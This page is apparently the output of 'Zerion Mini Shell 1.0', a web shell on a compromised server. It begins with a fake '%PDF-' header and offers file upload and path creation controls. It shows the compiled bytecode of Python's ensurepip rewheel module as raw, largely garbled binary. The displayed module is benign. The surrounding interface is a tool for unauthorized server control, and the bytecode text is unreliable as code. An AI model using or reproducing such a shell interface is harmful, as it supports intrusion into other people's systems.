%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib64/python3.7/ensurepip/rewheel/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib64/python3.7/ensurepip/rewheel/__pycache__/__init__.cpython-37.pyc

B

��aL�@s�ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZdd�Zdd�Z
dd�Zdd	�Zd
d�ZdS)�Nc
Cs�tjdd�}|jddd�|jdddd	tjjd
�|��}d}yttft	|���Wn4t
k
r�}ztd�|��d
}Wdd}~XYnXt�
d
�dS)Nz,Recreate wheel of package with given RECORD.)Zdescription�record_pathzPath to RECORD file)�helpz-oz--output-dirz>Dir where to place the wheel, defaults to current working dir.�outdir)r�dest�defaultrz
Failed: {}�)�argparse�ArgumentParser�add_argument�os�path�curdir�
parse_args�print�rewheel_from_record�vars�
BaseException�format�sys�exit)�parser�nsZretcode�e�r�?/opt/alt/python37/lib64/python3.7/ensurepip/rewheel/__init__.py�run
srcs�g}t�tjtjg�}dd�|D�}x�|D]�}d}xd|D]\�tj��|�d�tj	���fdd�t�
��D�}�fdd�|D�}t|�dkr8|d}q8W|dk	r�|�tj�|d	��q*|�d�q*W|S)
z�Return list of paths to RECORD files for system-installed projects.

    If a project is not installed, the resulting list contains None instead
    of a path to its RECORD
    cSsg|]}tj�|�r|�qSr)rr�exists)�.0�sprrr�
<listcomp>(sz'find_system_records.<locals>.<listcomp>Nz-[^\{0}]+\.dist-infocsg|]}tj��|��qSr)rr�join)r�p)rrrr.scsg|]}t��|�r|�qSr)�re�match)r�c)�dist_info_rerrr0srrZRECORD)
�site�getsitepackagesr�base_prefix�base_exec_prefixrrr r�sep�listdir�len�append)ZprojectsZrecordsZsys_sitepackZprojectrZ
candidatesZfilteredr)r%rr�find_system_recordss

r.cCs�tj�tj�|��}|t|�d��tjj�}t||�\}}t|�}tj�||d�}t	j
|dt	jd�}t�
�}	t�|	�}
x:|D]2\}}}
|jtj�||�|d�|
�|||
g�q�W|
�|ddg�|�||	���|��|jS)zcRecreates a whee of package with given record_path and returns path
    to the newly created wheel.Nz.whl�w)�modeZcompression)Zarcname�)rr�dirnamer,�stripr*�get_records_to_pack�get_wheel_namer �zipfileZZipFileZZIP_DEFLATED�io�StringIO�csv�writer�writeZwriterowZwritestr�getvalue�close�filename)rr�site_dir�record_relpath�to_write�to_omitZnew_wheel_nameZnew_wheel_pathZ	new_wheelZ
new_recordr:�fZsha_hash�sizerrrr:s
rc	Cstj�tj�|�d�}tj|dd��}tj���	|�
��}WdQRXtj�tj�|�d�}tj|dd��}tj���	|�
��}WdQRX|�d�}|�d�}d}	g}
x&|�d	�D]}|
�
|�d
�d�q�Wd�|
�}
|�d	��d
�d
d�\}}
td|||	|
||
g�}d
�t|��S)z.Return proper name of the wheel, without .whl.ZWHEELzutf-8)�encodingNZMETADATA�NameZVersionr1ZTag�-r�.r�)rrr r2�codecs�open�emailrZParserZparsestr�read�getZget_allr-�split�filter�list)rZwheel_info_pathZwheel_info_fileZ
wheel_infoZ
metadata_pathZ
metadata_fileZmetadataZdistribution�versionZ	build_tagZlang_tag�tZabi_tagZplat_tagZto_joinrrrr5Vs 


r5c
	Cstj�||�}tj|dd��}|��}WdQRXtj�|��tjj�}|dt	d��d}g}g}x�|�
�D]�}|�d�}	t	|	�dkrntj�|	d�s�|	d�
d	�s�|	d�d
�s�|	d�d�s�|	d|ks�|	d�
|�r�|�|	�q�|�|	�qnqnW||fS)aAccepts path of sitedir and path of RECORD file relative to it.
    Returns two lists:
    - list of files that can be written to new RECORD straight away
    - list of files that shouldn't be written or need some processing
      (pyc and pyo files, scripts)
    zutf-8)rENz	dist-info�data�,rIrz..z.pycz.pyo)rrr rJrKrMr2r3r*r,�
splitlinesrO�isabs�
startswith�endswithr-)
r?r@Zrecord_file_pathZrecord_fileZrecord_contentsZdata_dirrArB�lZsplrrrr4ns"
r4)rrJr9Zemail.parserrLrr7r"r&�
subprocessrr6rr.rr5r4rrrr�<module>s

Zerion Mini Shell 1.0